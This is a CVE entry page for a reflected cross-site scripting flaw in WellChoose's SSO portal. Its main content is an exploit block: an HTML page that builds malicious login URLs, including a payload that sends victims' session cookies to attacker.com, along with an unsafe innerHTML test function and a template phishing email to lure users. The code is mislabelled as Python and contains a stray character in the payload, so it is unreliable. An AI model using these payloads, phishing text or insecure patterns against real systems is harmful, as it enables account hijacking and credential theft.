CVE-2026-1429

Description

Single Sign-On Portal System developed by WellChoose has a Reflected Cross-site Scripting vulnerability, allowing authenticated remote attackers to execute arbitrary JavaScript codes in user's browser through phishing attacks.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wellchoose:single_sign-on_portal_system:*:*:*:*:*:*:*:* - VULNERABLE

WellChoose Single Sign-On Portal System (所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-1429 PoC - Reflected XSS in WellChoose SSO Portal -->
<!-- Target: WellChoose Single Sign-On Portal System -->
<!-- Attack Type: Reflected Cross-Site Scripting -->

<!-- Step 1: Construct malicious URL -->
<!-- Replace TARGET_URL with actual vulnerable endpoint -->
<!-- Example: https://sso.wellchoose.com/sso/login?redirect= -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-1429 PoC</title>
</head>
<body>
    <h2>CVE-2026-1429 - Reflected XSS PoC</h2>
    <p>Target: WellChoose Single Sign-On Portal System</p>
    
    <script>
        // Malicious URL with XSS payload
        const baseUrl = 'https://TARGET_URL/sso/login';
        
        // XSS payload - steals session cookies
        const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)\)">';
        
        // Alternative payload - alert demonstration
        const altPayload = '<script>alert("XSS - CVE-2026-1429")<\/script>';
        
        // Construct malicious URL
        const maliciousUrl = baseUrl + '?redirect=' + encodeURIComponent(xssPayload);
        const altUrl = baseUrl + '?return_url=' + encodeURIComponent(altPayload);
        
        // Display generated URLs
        document.write('<p>Malicious URL 1:</p>');
        document.write('<a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>');
        document.write('<br><br>');
        document.write('<p>Malicious URL 2:</p>');
        document.write('<a href="' + altUrl + '" target="_blank">' + altUrl + '</a>');
        
        // Function to test XSS (for authorized testing only)
        function testXSS() {
            // Extract parameter from URL and display
            const params = new URLSearchParams(window.location.search);
            const testParam = params.get('test');
            if (testParam) {
                document.getElementById('output').innerHTML = testParam;
            }
        }
    </script>
    
    <div id="output"></div>
    
    <!-- Simulated phishing email content -->
    <h3>Phishing Attack Scenario:</h3>
    <pre>
    Subject: Please verify your SSO account
    
    Dear User,
    
    Your SSO session requires verification. Please click the link below:
    [Malicious URL Here]
    
    Best regards,
    SSO Admin Team
    </pre>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1429
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1429
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1429/
[4] VulDB https://vuldb.com/cve/CVE-2026-1429
[5] https://www.twcert.org.tw/en/cp-139-10655-59160-2.html
[6] https://www.twcert.org.tw/tw/cp-132-10654-23f40-1.html

Raw JSON Data

JSON

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